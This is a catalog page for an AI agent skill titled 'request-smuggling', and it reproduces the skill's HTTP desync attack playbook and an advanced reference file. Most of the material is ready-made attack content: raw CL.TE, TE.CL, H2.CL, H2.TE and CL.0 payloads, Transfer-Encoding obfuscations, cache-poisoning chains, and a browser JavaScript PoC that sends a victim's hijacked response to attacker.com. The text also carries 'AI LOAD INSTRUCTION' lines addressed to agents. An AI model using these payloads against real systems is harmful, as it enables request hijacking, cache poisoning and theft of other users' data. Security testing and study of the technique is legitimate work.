
Request Smuggling
- 2.3k installs
- 1.5k repo stars
- Updated June 16, 2026
- yaklang/hack-skills
request-smuggling is an agent skill that HTTP request smuggling and desynchronization testing. Use when front proxies, CDNs, or load balancers disagree with the origin on message framing (Content-Length vs Trans.
About
The request-smuggling skill. HTTP request smuggling and desynchronization testing. Use when front proxies, CDNs, or load balancers disagree with the origin on message framing (Content-Length vs Transfer-Encoding), on HTTP/2→HTTP/1 translation, or when exploring client-side desync via browser fetch pipelines. Covers CL.TE, TE.CL, TE.TE obfuscation variants, HTTP/2 downgrade and pseudo-header confusion, client-side desync (browser pipelines), and tool-assisted fuzzing. Assumes familiarity with raw HTTP/1.1 framing and reverse-proxy topologies. This is not “header injection” - it is **message boundary disagreement** between hops. Routing note: load this skill when you suspect CDN/reverse-proxy and origin disagree on request-end boundaries, or when abnormal concatenation appears during H2-to-H1 downgrade. QUICK START ### CL.TE first probe (front-end trusts CL, back-end trusts chunked) Assumption: front end prioritizes , back end prioritizes . Use a very short CL so the front end accepts a fake end, while the back end continues chunk parsing and leaves remaining bytes for the next request.
- Front end reads only 13 bytes based on `Content-Length: 13` (that is, `0\r\n\r\nSMUGGLED`, 13 bytes total) and considers
- Back end parses as chunked: after the `0` end chunk, it treats `SMUGGLED` and onward as the start byte stream of the nex
- Back end (CL): reads only 4 bytes from the message body start -> `3` `5` `\r` `\n`, marks body complete, and leaves the
- incorrect pseudo-header to regular-header mapping order;
- forbidden headers (such as some `Connection` combinations) forwarded incorrectly;
Request Smuggling by the numbers
- 2,277 all-time installs (skills.sh)
- +135 installs in the week ending Aug 4, 2026 (Skillselion tracking)
- Ranked #234 of 2,203 Security skills by installs in the Skillselion catalog
- Security screen: CRITICAL risk (skills.sh audit)
- Data as of Aug 5, 2026 (Skillselion catalog sync)
request-smuggling capabilities & compatibility
- Capabilities
- front end reads only 13 bytes based on `content · back end parses as chunked: after the `0` end ch · back end (cl): reads only 4 bytes from the messa · incorrect pseudo header to regular header mappin · forbidden headers (such as some `connection` com
- Use cases
- security audit · testing · debugging
What request-smuggling says it does
Assumes familiarity with raw HTTP/1.1 framing and reverse-proxy topologies.
npx skills add https://github.com/yaklang/hack-skills --skill request-smugglingAdd your badge
Show developers this skill is listed on Skillselion. Paste this into your README.
| Installs | 2.3k |
|---|---|
| repo stars | ★ 1.5k |
| Security audit | 1 / 3 scanners passed |
| Last updated | June 16, 2026 |
| Repository | yaklang/hack-skills ↗ |
How do I apply request-smuggling correctly using the SKILL.md workflows and reference files?
HTTP request smuggling and desynchronization testing. Use when front proxies, CDNs, or load balancers disagree with the origin on message framing (Content-Length vs Transfer-Encoding), on HTTP/2→HTTP/
Who is it for?
Developers and software engineers working with request-smuggling patterns from the skill documentation.
Skip if: Skip when cached docs are empty, boilerplate-only, or outside the skill documented scope.
When should I use this skill?
HTTP request smuggling and desynchronization testing. Use when front proxies, CDNs, or load balancers disagree with the origin on message framing (Content-Length vs Transfer-Encoding), on HTTP/2→HTTP/1 translation, or wh
What you get
Grounded request-smuggling guidance with highlights, triggers, and evidence quotes from SKILL.md.
- Smuggling payload bytes
- Proxy behavior matrix
- Cache-poisoning chain notes
Files
SKILL: HTTP Request Smuggling — Expert Attack Playbook
AI LOAD INSTRUCTION: Expert HTTP desync techniques. Covers CL.TE, TE.CL, TE.TE obfuscation variants, HTTP/2 downgrade and pseudo-header confusion, client-side desync (browser fetch pipelines), and tool-assisted fuzzing. Assumes familiarity with raw HTTP/1.1 framing and reverse-proxy topologies. This is not “header injection” — it is message boundary disagreement between hops.Routing note: load this skill when you suspect CDN/reverse-proxy and origin disagree on request-end boundaries, or when abnormal concatenation appears during H2-to-H1 downgrade.
0. RELATED ROUTING
- ghost-bits-cast-attack when the HTTP client library is Apache HttpClient <= 4.5.9 (HTTPCLIENT-1974/1978) — injecting
瘍瘊(U+760D U+760A, low bytes\r\n) into a header value causes the underlying char-to-byte writer to emit a literal CRLF, splitting the request at the origin without relying on CL/TE disagreement
1. QUICK START
CL.TE first probe (front-end trusts CL, back-end trusts chunked)
Assumption: front end prioritizes Content-Length, back end prioritizes Transfer-Encoding: chunked. Use a very short CL so the front end accepts a fake end, while the back end continues chunk parsing and leaves remaining bytes for the next request.
POST / HTTP/1.1
Host: target.example
Content-Type: application/x-www-form-urlencoded
Content-Length: 13
Transfer-Encoding: chunked
0
SMUGGLED- Front end reads only 13 bytes based on
Content-Length: 13(that is,0\r\n\r\nSMUGGLED, 13 bytes total) and considers the request complete. - Back end parses as chunked: after the
0end chunk, it treats `SMUGGLED` and onward as the start byte stream of the next request.
TE.CL first probe (front-end trusts chunked, back-end trusts CL)
Assumption: front end parses chunked and back end only reads Content-Length. Set CL equal to the number of bytes in the chunk-length line (commonly 4: two hex characters + \r\n), so the back end consumes only the length line and leaves the rest buffered for follow-up request splicing.
Embed a second request in the chunk (all line endings are CRLF; 35 hex chunk length = 53 bytes):
POST / HTTP/1.1
Host: target.example
Content-Type: application/x-www-form-urlencoded
Content-Length: 4
Transfer-Encoding: chunked
35
GET /admin HTTP/1.1
Host: target.example
Foo: x
0
On the wire, the chunk body must be exactly 53 bytes; if you change path/headers, recalculate chunk length and update the hex length line accordingly.
Safety note
Test only within authorized scope; concurrent smuggling can poison connection pools, corrupt caches, or impact other tenants. Prefer isolated environments or low-traffic windows.
---
1. CORE CONCEPT
Definition: two (or more) HTTP processing entities disagree on where request one ends and request two begins in the same TCP/TLS stream, allowing an attacker to include a partial or full second request inside one logical request.
Client Front (proxy/WAF) Back (origin)
| | |
|==== Request A+B ===>| |
| | parses boundary #1 | parses boundary #2
| | \ | /
| | different split points
| | |
v v v
Request A (seen) Request A' + smuggled BDifference from CRLF injection: CRLF usually injects into responses or header lines; smuggling targets implementation differences in RFC 7230 message framing (Content-Length / chunked).
High-value impact: WAF rule bypass (smuggled body not visible in front-end request), hijacking other users' requests on shared-origin connections (queue poisoning), cache-poisoning assistance, and authentication-boundary confusion.
---
2. CL.TE VULNERABILITIES
Pattern: front end trusts `Content-Length`; back end trusts `Transfer-Encoding: chunked`.
Exact example (same as §0): Content-Length: 13 and Transfer-Encoding: chunked both exist, body is:
0\r\n\r\nSMUGGLEDByte count: 0 + \r\n + \r\n + SMUGGLED = 13.
Back-end perspective: the chunked stream ends at 0\r\n\r\n; if SMUGGLED starts with METHOD SP or another valid request prefix, it becomes a smuggled request-line prefix.
Tuning: if the target is sensitive to duplicate headers, casing, or spaces, minimally adjust Transfer-Encoding variants (see §4) while preserving semantics to match a combo where front end ignores TE and back end executes TE.
---
3. TE.CL VULNERABILITIES
Pattern: front end parses chunked; back end only reads `Content-Length` (or too-short CL).
Intent: front end treats the whole malicious byte stream as body; back end reads only CL length, leaving remaining bytes buffered to splice with later legitimate requests.
Full TE.CL with embedded second request (same family as §0; Content-Length: 4 + first chunk-length line 35\r\n):
POST / HTTP/1.1
Host: target.example
Content-Type: application/x-www-form-urlencoded
Content-Length: 4
Transfer-Encoding: chunked
35
GET /admin HTTP/1.1
Host: target.example
Foo: x
0
Explanation:
- Back end (CL): reads only 4 bytes from the message body start ->
35\r\n, marks body complete, and leaves the remaining bytes in the TCP read buffer. - Front end (TE): parses full stream as chunked and forwards/consumes
GET /admin...as body content of the already-closed first request (product-dependent); mismatch with back-end boundary interpretation forms TE.CL.
For longer smuggling (e.g., POST + Content-Length: 11 + x=1), chunk length is about 76 (hex 0x76 = 118 bytes); Content-Length: 4 can still pin the back end to reading only the length line.
Practical notes: chunk length must be valid hex; second request must meet target expectations for Host, path, and session cookie; timing window and connection-reuse strategy determine whether you hit another user's request.
---
4. TE.TE VULNERABILITIES
Pattern: both front and back claim to process Transfer-Encoding, but differ on which TE value is effective or valid -> still producing equivalent desync where one side sees chunked and the other does not.
Use the following 8 obfuscation variants to probe parser differentials (single-line display; \t means a real TAB):
Transfer-Encoding: xchunkedTransfer-Encoding : chunkedTransfer-Encoding: chunked
Transfer-Encoding: chunkedTransfer-Encoding: xTransfer-Encoding:[TAB]chunked(Replace [TAB] with real \x09.)
Transfer-Encoding: chunked(One leading space at line start.)
X: X
Transfer-Encoding: chunked(Previous line value is X and next line starts with Transfer-Encoding: this uses line continuation / lenient header parsing so one hop may merge or split lines incorrectly; separator between X and Transfer-Encoding may be \n or \r\n depending on the target stack.)
Transfer-Encoding
: chunked(Field name and colon are on different physical lines; some parsers still treat it as valid Transfer-Encoding: chunked.)
Strategy: for each (front, back) pair, enumerate which side accepts each variant as chunked, then map to equivalent CL.TE or TE.CL using §2/§3.
---
5. HTTP/2 REQUEST SMUGGLING
H2 -> H1 Downgrade
Common scenario: edge supports HTTP/2 and origin uses HTTP/1.1. If implementation does not strictly normalize header fields and body boundaries, you may observe:
- incorrect pseudo-header to regular-header mapping order;
- forbidden headers (such as some
Connectioncombinations) forwarded incorrectly; - duplicate-header merge rules inconsistent with the origin.
Pseudo-header / header-injection smuggling (concept payload)
Attack surface comes from downstream H1 parsers treating certain bytes as the start of a new request. A common research/CTF approach is to place near-request bytes inside header values that one layer ignores but another treats literally:
header ignored\r\n\r\nGET / HTTP/1.1\r\nHost: targetMeaning: if one hop keeps the full string in a header value and the next hop mis-splits during H1 reconstruction, parsing may start a new GET / HTTP/1.1 at \r\n\r\n.
Testing directions:
- duplicate and case handling for
Transfer-Encoding/Content-Lengthin H2 (H2 requires lowercase, but translation layers can fail); - downgrade behavior when
:methodor:pathincludes abnormal characters; - interactions between tunneling or extended CONNECT and smuggling.
---
6. CLIENT-SIDE DESYNC
Scenario: browser request-body handling differs from middleware/origin, or `no-cors` + preflight exemptions permit atypical messages that create queue effects similar to classic CL.TE/TE.CL (architecture-dependent).
HEAD + GET chain: some stacks historically mishandle HEAD response bodies, later pipelining, or connection reuse; validate with concrete browser versions and target proxy behavior.
JavaScript PoC shape (illustrative: set body to raw bytes containing GET, with no-cors and credentials):
fetch("https://target.example/vulnerable", {
method: "POST",
mode: "no-cors",
credentials: "include",
body: "GET /admin HTTP/1.1\r\nHost: target.example\r\n\r\n"
});Note: browser security model limits direct readability; success often appears as side effects on other requests over the same connection or as abnormal server logs/behavior, not direct response reading. Evaluate with SOP, CORS, and extension/proxy factors.
---
7. TOOLS
| Tool | Purpose |
|---|---|
| Burp Suite — HTTP Request Smuggler (BApp Store) | Automated desync detection, common variants, timing-delta checks |
| defparam/smuggler (GitHub) | Python scripts for batch generation/sending of smuggling probes |
| dhmosfunk/simple-http-smuggler-generator (GitHub) | Quickly assemble raw CL.TE / TE.CL message templates |
Usage advice: first passively confirm a front-end + origin two-hop path, then select minimally disruptive probes, and lower concurrency in production.
---
8. DETECTION DECISION TREE
Start: reverse proxy / CDN in path?
|
NO -------------+------------- YES
| |
Low classic smuggling |
(still test H2 desync) v
Can you send TE + CL together?
|
NO -------------------+------------------- YES
| |
Test H2-only issues Front prefers which?
(pseudo-header, reset) |
+-------------------------------+-------------------------------+
| | |
CL wins TE wins errors /
| | connection
v v |
CL.TE probes TE.CL probes TE.TE obfuscation
(Sec 0,2) (Sec 0,3) (Sec 4)
| | |
v v v
Time / content / Adjust chunk Pairwise matrix:
queue poisoning sizes + CL which hop accepts
signals? alignment which variant?
| | |
+-------------------------------+-------------------------------+
|
v
Confirm with second request
smuggled (replay-safe)
or Collaborator-style side signal---
Advanced Reference
Also load H2_SMUGGLING_VARIANTS.md when you need:
- H2.CL and H2.TE variants with byte-level payload examples
- CL.0 (connection close desync) — technique and detection
- Fat GET request smuggling (body in GET request)
- Request smuggling → cache poisoning chain (response queue misalignment)
- Client-side desync (CSD) via browser Fetch API with JavaScript PoC templates
- CDN/reverse proxy product behavior matrix (HAProxy, Nginx, Apache, Cloudflare, AWS ALB, Envoy, Varnish, etc.)
---
12. RELATED ROUTING
- Input enters interpreter/query language/template (not HTTP framing) -> Injection Testing Router (then drill down into XSS, SQLi, SSTI, etc.).
- Response header splitting / Location CRLF -> CRLF Injection.
- Cache and path-key confusion -> Web Cache Deception.
Once confirmed as an HTTP message-boundary issue rather than parameter injection, stay in this skill to avoid misrouting into general injection workflows.
HTTP/2 Smuggling Variants & Advanced Desync Techniques
AI LOAD INSTRUCTION: Load this when you need H2.CL/H2.TE byte-level payloads, CL.0 desync, Fat GET smuggling, smuggling→cache poisoning chains, client-side desync (CSD) flows, or CDN/reverse-proxy behavior matrices. Assumes the main SKILL.md is already loaded for CL.TE, TE.CL, TE.TE fundamentals.
---
1. H2.CL — HTTP/2 Content-Length Desync
1.1 Concept
The front-end speaks HTTP/2 with the client and downgrades to HTTP/1.1 toward the back-end. HTTP/2 frames have their own length field (frame length), but the proxy may also forward a content-length header to the back-end. If these disagree, the back-end trusts content-length while the front-end trusts the H2 frame boundary.
1.2 Attack Flow
Client ──[HTTP/2]──> Front-end proxy ──[HTTP/1.1]──> Back-end
1. Client sends H2 POST with:
- H2 DATA frame containing: "0\r\n\r\nGET /admin HTTP/1.1\r\nHost: target\r\n\r\n"
- content-length header: 0
2. Front-end (H2): reads entire DATA frame as body of first request
→ forwards to back-end as HTTP/1.1 POST
3. Back-end (H1): sees content-length: 0
→ treats body as empty
→ remaining bytes become: "GET /admin HTTP/1.1\r\nHost: target\r\n\r\n"
→ parsed as second request1.3 Byte-Level Payload
:method: POST
:path: /
:authority: target.example
content-type: application/x-www-form-urlencoded
content-length: 0
GET /admin HTTP/1.1
Host: target.example
The H2 DATA frame carries the entire body including the smuggled GET /admin request. The content-length: 0 header tells the back-end the POST body is empty.
1.4 Confirming H2.CL
Step 1: Send H2 POST with content-length: 0 and smuggled prefix "G"
Step 2: Follow immediately with normal GET / on same connection
Step 3: If back-end sees "GGET / HTTP/1.1" → 405 or error → confirmed
Timing version:
- Smuggle "GET /sleep?delay=10 HTTP/1.1..."
- Subsequent request on same connection delayed → confirmed---
2. H2.TE — HTTP/2 Transfer-Encoding Desync
2.1 Concept
HTTP/2 specification forbids transfer-encoding in H2 frames. However, some front-end proxies don't strip it when downgrading to H1. If the back-end sees transfer-encoding: chunked in the downgraded H1 request, it uses chunked parsing while the front-end used H2 frame boundaries.
2.2 Attack Flow
Client ──[HTTP/2]──> Front-end proxy ──[HTTP/1.1]──> Back-end
1. Client sends H2 POST with:
- transfer-encoding: chunked (forbidden in H2, but proxy passes it through)
- H2 DATA frame body: "0\r\n\r\nGET /admin HTTP/1.1\r\nHost: target\r\n\r\n"
2. Front-end: ignores transfer-encoding (H2 doesn't use it)
→ forwards entire DATA frame as H1 body
3. Back-end: sees transfer-encoding: chunked
→ parses "0\r\n\r\n" as end-of-chunks
→ remaining bytes = smuggled request2.3 Byte-Level Payload
:method: POST
:path: /
:authority: target.example
content-type: application/x-www-form-urlencoded
transfer-encoding: chunked
0
GET /admin HTTP/1.1
Host: target.example
2.4 Variations
Some proxies normalize the transfer-encoding header. Try obfuscations:
transfer-encoding: chunked
Transfer-Encoding: chunked (capitalized — H2 requires lowercase)
transfer-encoding: identity (should be stripped but may pass)
transfer-encoding: chunked (extra space)
transfer-encoding: chunked\r\n (trailing whitespace)---
3. CL.0 — CONNECTION CLOSE DESYNC
3.1 Concept
CL.0 occurs when the back-end ignores the content-length header entirely and reads the body length as 0 — regardless of what content-length says. The remaining body bytes stay in the socket buffer for the next request.
Unlike CL.TE or TE.CL, CL.0 does NOT require transfer-encoding. It exploits endpoints that simply don't consume the body.
3.2 Vulnerable Conditions
- Endpoints that return a response before reading the full body (e.g., redirects, 301/302)
- Static file servers that ignore POST body
- Health-check endpoints
- Endpoints behind
Connection: closethat reuse the socket anyway
3.3 Attack Flow
1. Send POST to endpoint that ignores body:
POST /redirect-page HTTP/1.1
Host: target.example
Content-Length: 30
GET /admin HTTP/1.1
X: x
2. Back-end sends 301 redirect immediately without consuming body
3. The "GET /admin HTTP/1.1\r\nX: x" remains in socket buffer
4. Next request on this connection is prepended with smuggled bytes3.4 Detection
# Step 1: Find endpoints that respond without consuming body
# Candidates: redirects, 204, static pages serving POST
# Step 2: Send POST with Content-Length larger than actual body
curl -X POST https://target.com/static-page \
-H "Content-Length: 50" \
-d "GET /canary HTTP/1.1\r\nHost: target.com\r\n\r\n" \
--http1.1
# Step 3: Send follow-up request on same connection
# If response matches /canary instead of expected page → CL.0 confirmed3.5 Key Differences from CL.TE
| Aspect | CL.TE | CL.0 |
|---|---|---|
| Requires TE header | Yes | No |
| Front/back disagreement | CL vs TE | CL vs "ignore body" |
| Works without chunked support | No | Yes |
| Common targets | Proxies parsing TE | Static servers, redirect endpoints |
---
4. FAT GET REQUEST SMUGGLING
4.1 Concept
Some reverse proxies allow GET requests with a body (RFC 7230 permits but discourages it). The front-end may forward the body, but the back-end may ignore it for GET requests, leaving body bytes in the buffer.
4.2 Payload
GET / HTTP/1.1
Host: target.example
Content-Length: 55
GET /admin HTTP/1.1
Host: target.example
Cookie: admin=true
4.3 Behavior Matrix
| Proxy/Server | GET Body Behavior |
|---|---|
| Nginx (as proxy) | Forwards body to back-end |
| Apache (as proxy) | Usually forwards body |
| HAProxy | Forwards body by default |
| AWS ALB | May strip body on GET |
| Cloudflare | May strip body on GET |
| Express.js (back-end) | Ignores GET body by default |
| Gunicorn (back-end) | Ignores GET body |
| PHP-FPM | Ignores GET body |
When front-end forwards and back-end ignores → desync.
4.4 Combined with Cache
GET /static/app.js HTTP/1.1
Host: target.example
Content-Length: 70
GET /admin/delete-user?id=1 HTTP/1.1
Host: target.example
Cookie: admin=true
If the proxy caches /static/app.js responses, the smuggled request's response may get cached under /static/app.js.
---
5. REQUEST SMUGGLING → CACHE POISONING CHAIN
5.1 The Chain
1. Attacker smuggles a request that returns malicious content
2. The smuggled response is associated with a cacheable URL by the front-end
3. Cache stores malicious response under legitimate URL
4. All subsequent users requesting that URL get poisoned content5.2 CL.TE → Cache Poisoning Example
POST / HTTP/1.1
Host: target.example
Content-Length: 130
Transfer-Encoding: chunked
0
GET /static/app.js HTTP/1.1
Host: target.example
Content-Length: 10
x=1What happens: 1. Front-end (CL): sends everything as one POST request 2. Back-end (TE): sees POST end at 0\r\n\r\n, then GET /static/app.js as new request 3. Back-end responds to smuggled GET /static/app.js — but its response gets matched to the next legitimate request on the same connection 4. If next legitimate request is for /static/app.js → cache stores the matched response → poisoned
5.3 Targeted Poisoning
To control WHAT gets cached, smuggle a request that returns attacker-controlled content:
POST / HTTP/1.1
Host: target.example
Content-Length: 200
Transfer-Encoding: chunked
0
GET /redirect?url=https://evil.com/malicious.js HTTP/1.1
Host: target.example
X-Ignore: xIf /redirect returns a 302 or 301 to evil.com, and the cache stores this for the next request's URL, that URL now redirects to evil.com for all users.
5.4 Cache Poisoning via Response Queue Misalignment
Connection:
Request A (smuggled) → Response A
Request B (victim's) → Response B
Cache expects:
Request B's URL → Response B
Actual:
Request B's URL → Response A (wrong response)
If Response A contains XSS or redirect → cached under Request B's URL---
6. CLIENT-SIDE DESYNC (CSD)
6.1 Concept
Client-Side Desync exploits browser fetch() API behavior to cause desynchronization between the browser and a web server. Unlike server-side smuggling (which poisons a shared connection pool), CSD poisons the browser's own connection to the target.
6.2 Prerequisites
1. Target server reuses connections (not Connection: close on every response) 2. A page on the target (or same-site) where attacker can inject JavaScript 3. The server has an endpoint that doesn't consume the full request body (CL.0-style)
6.3 Detailed Flow
1. Attacker's JS on victim's browser sends fetch() to target:
fetch('https://target.com/trigger', {
method: 'POST',
mode: 'no-cors',
credentials: 'include',
body: 'GET /victim-data HTTP/1.1\r\nHost: target.com\r\n\r\n'
});
2. Browser sends POST to /trigger with body containing smuggled GET
3. Server responds to POST immediately (ignoring body — CL.0)
4. Smuggled "GET /victim-data" remains in the TCP buffer
5. Attacker's JS sends a follow-up request on same connection:
fetch('https://target.com/api/me', {
credentials: 'include'
});
6. Server processes the leftover "GET /victim-data" instead of "GET /api/me"
7. Response mismatch — browser gets /victim-data response for /api/me request6.4 JavaScript PoC Template
async function desync(targetUrl, triggerPath, smuggledRequest) {
const body = smuggledRequest;
// Step 1: Trigger the desync (CL.0 on trigger endpoint)
await fetch(targetUrl + triggerPath, {
method: 'POST',
mode: 'no-cors',
credentials: 'include',
body: body
});
// Step 2: Follow-up request on (hopefully) same connection
const response = await fetch(targetUrl + '/api/profile', {
credentials: 'include'
});
// Step 3: Exfiltrate if response is mismatched
const data = await response.text();
navigator.sendBeacon('https://attacker.com/log', data);
}
desync(
'https://target.com',
'/static/logo.png', // CL.0-susceptible endpoint
'GET /admin/users HTTP/1.1\r\nHost: target.com\r\n\r\n'
);6.5 CSD Limitations
- Browser may use different connections for subsequent requests → desync fails
Connection: closeon server side prevents reuse- HTTP/2 to single origin may use single connection (actually helps CSD)
- Same-site cookie policies may limit credential inclusion
- Hard to reliably predict connection reuse
6.6 CSD via Pause-Based Desync
1. Server has a timeout: if request body isn't fully received within N seconds,
server sends response and moves on
2. Attacker sends fetch() with:
- Content-Length: 1000 (large)
- Actual body: only 50 bytes + smuggled request
3. Server waits, times out, responds to partial request
4. Remaining bytes (smuggled request) stay in buffer
5. Next request on connection processes smuggled bytes---
7. CDN / REVERSE PROXY BEHAVIOR MATRIX
7.1 CL + TE Handling
| Product | Dual CL+TE | Prefers | Notes |
|---|---|---|---|
| HAProxy | Forwards both | TE | Strips CL when TE is present (configurable) |
| Nginx | Rejects dual headers (400) | N/A | Strict — hard to smuggle through |
| Apache (mod_proxy) | Forwards both | CL | Historic CL.TE source |
| Cloudflare | Normalizes | TE | Strips CL when TE present; strong normalization |
| AWS ALB | Normalizes | Varies | Has had CL.TE vulns historically (patched) |
| AWS CloudFront | Normalizes | CL | May pass TE obfuscation variants |
| Varnish | Forwards both | TE | Configurable; default prefers TE |
| Traefik | Forwards both | TE | Go net/http based; strict chunked parsing |
| Envoy | Rejects dual (400) | N/A | Very strict HTTP/1.1 parsing |
| Caddy | Go-based; strict | TE | Similar to Envoy strictness |
| Squid | Forwards both | CL | Historic TE.CL source |
| IIS (ARR) | Forwards both | CL | Historic CL.TE/TE.CL source |
7.2 HTTP/2 Downgrade Behavior
| Product | H2→H1 Downgrade | TE Header Handling | CL Passthrough |
|---|---|---|---|
| HAProxy | Translates | May pass TE | Passes CL |
| Nginx | Translates | Strips TE (usually) | Passes CL |
| Cloudflare | Translates | Strips TE | Normalizes CL |
| AWS ALB | Translates | Strips TE | Passes CL |
| AWS CloudFront | Translates | May pass obfuscated TE | Passes CL |
| Envoy | Translates | Strips TE | Strict validation |
| Traefik | Translates | May pass TE | Passes CL |
7.3 GET Body Handling
| Product | Forwards GET Body | Notes |
|---|---|---|
| HAProxy | Yes | Default behavior |
| Nginx | Yes (as proxy) | Forwards if body present |
| Apache | Yes | Forwards body |
| Cloudflare | Strips | Removes GET body |
| AWS ALB | Depends on version | May strip |
| Varnish | Strips | Removes GET body |
| Envoy | Yes | Forwards |
7.4 Connection Reuse Behavior
| Product | Backend Connection Pooling | Impact on Smuggling |
|---|---|---|
| HAProxy | Yes (connection pool) | High risk — smuggled data affects other users |
| Nginx | Yes (keepalive upstream) | High risk |
| Cloudflare | Yes | High risk but strong normalization |
| AWS ALB | Yes | High risk |
| Envoy | Yes | Lower risk (strict parsing) |
| Varnish | Configurable | Depends on beresp.do_stream |
---
8. TESTING METHODOLOGY
8.1 Safe Probe Sequence
1. Identify architecture:
- Check Via, Server, X-Served-By headers
- Detect CDN (Cloudflare cf-ray, CloudFront x-amz-cf-id, etc.)
2. HTTP version probing:
- curl --http2 https://target.com -v
- Check if ALPN negotiation includes h2
3. Time-based desync detection:
a. CL.TE probe:
POST / HTTP/1.1
Content-Length: 4
Transfer-Encoding: chunked
1
A
0
b. If response is delayed → back-end is waiting for chunked end → CL.TE likely
4. H2 desync:
- Send H2 request with content-length: 0 + body containing smuggled prefix
- Follow with normal request; observe if response matches smuggled path
5. CL.0 detection:
- Find endpoints returning without consuming body (redirects, static files)
- Send POST with excess body, follow with normal GET8.2 Tools
| Tool | Purpose |
|---|---|
| Burp Suite HTTP Request Smuggler | Automated variant scanning |
| h2csmuggler (GitHub) | HTTP/2 cleartext smuggling |
| smuggler.py (defparam) | CL.TE, TE.CL, TE.TE automation |
| http2smugl (GitHub) | H2-specific desync testing |
curl with --http2 / --http1.1 | Manual H2/H1 probing |
| hyper (Python) | Low-level H2 frame crafting |
8.3 Impact Escalation Checklist
□ Confirmed desync variant (CL.TE / TE.CL / H2.CL / H2.TE / CL.0)
□ Can smuggle full request? (not just prefix)
□ Connection pooling enabled? (affects other users → critical)
□ Cacheable endpoints exist? (→ cache poisoning)
□ Authenticated endpoints reachable? (→ auth bypass, data theft)
□ Can reflect content in response? (→ stored XSS via cache)
□ Admin/internal paths accessible? (→ privilege escalation)
□ Client-side desync possible? (→ per-user attacks)Related skills
How it compares
Use request-smuggling when proxy or CDN protocol downgrade is in scope; use basic smuggling skills first for CL.TE and TE.CL fundamentals.
FAQ
Who is request-smuggling for?
Developers and software engineers working with request-smuggling patterns from the skill documentation.
When should I use request-smuggling?
HTTP request smuggling and desynchronization testing. Use when front proxies, CDNs, or load balancers disagree with the origin on message framing (Content-Length vs Transfer-Encoding), on HTTP/2→HTTP/1 translation, or when exploring client-side desync via browser fetch pipelines.
Is request-smuggling safe to install?
Review the Security Audits panel on this page before installing in production.